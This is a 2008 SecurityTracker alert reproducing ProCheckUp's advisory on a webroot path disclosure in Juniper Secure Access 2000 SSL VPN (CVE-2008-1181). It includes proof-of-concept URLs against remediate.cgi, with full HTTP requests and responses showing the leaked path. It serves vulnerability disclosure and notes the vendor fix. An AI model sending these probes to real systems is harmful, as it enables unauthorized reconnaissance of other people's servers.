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Category:   Device (Encryption/VPN)  >   Secure Access SSL VPN Vendors:   Juniper
Juniper Networks Secure Access 2000 Discloses Path to Remote Users
SecurityTracker Alert ID:  1019526
SecurityTracker URL:  http://securitytracker.com/id/1019526
CVE Reference:   CVE-2008-1181   (Links to External Site)
Updated:  Mar 19 2008
Original Entry Date:  Feb 28 2008
Impact:   Disclosure of system information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): SA-2000 5.5R1 (build 11711)
Description:   A vulnerability was reported in Juniper Networks Secure Access 2000 SSL VPN. A remote user can determine the web server path.

A remote user can supply a specially crafted request to the 'remediate.cgi' script to determine the web server path.

The vendor was notified on December 12, 2007.

Richard Brain of ProCheckUp Ltd (www.procheckup.com) reported this vulnerability.

Impact:   A remote user can determine the web server path.
Solution:   The vendor has issued a fixed version (6.0R1).
Vendor URL:  www.juniper.net/ (Links to External Site)
Cause:   Access control error
Underlying OS:  

Message History:   None.


 Source Message Contents

Date:  Thu, 28 Feb 2008 16:06:24 +0000
Subject:  PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Low

Description:

By simply requesting the 'remediate.cgi' script omitting certain 
parameters, the web server returns the physical path of the webroot 
('/home/webserver/htdocs/') within a "Execute failed" error message.


Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000) 
5.5R1 (build 11711)


Proof of concept:

https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preauth
https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth


Consequences:

A remote attacker could recover information with regards to the target 
site's directory structure.

This kind of information might be useful to attackers in certain 
scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.


Fix:

Juniper Networks was aware of this issue which they addressed on version 
6.0R1. However, we decided to release this advisory due to lack of 
information regarding this vulnerability in the public domain.


References:

http://www.procheckup.com/Vulnerabilities.php
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/


Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*


COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script : 
/home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed, 
errcode = 1


COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*


COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script : 
/home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed, 
errcode = 1


Legal:

Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the 
Internet community for the purpose of alerting them to problems, if and 
only if, the Bulletin is not edited or changed in any way, is attributed 
to Procheckup, and provided such reproduction and/or distribution is 
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not 
liable for any misuse of this information by any third party.


 
 


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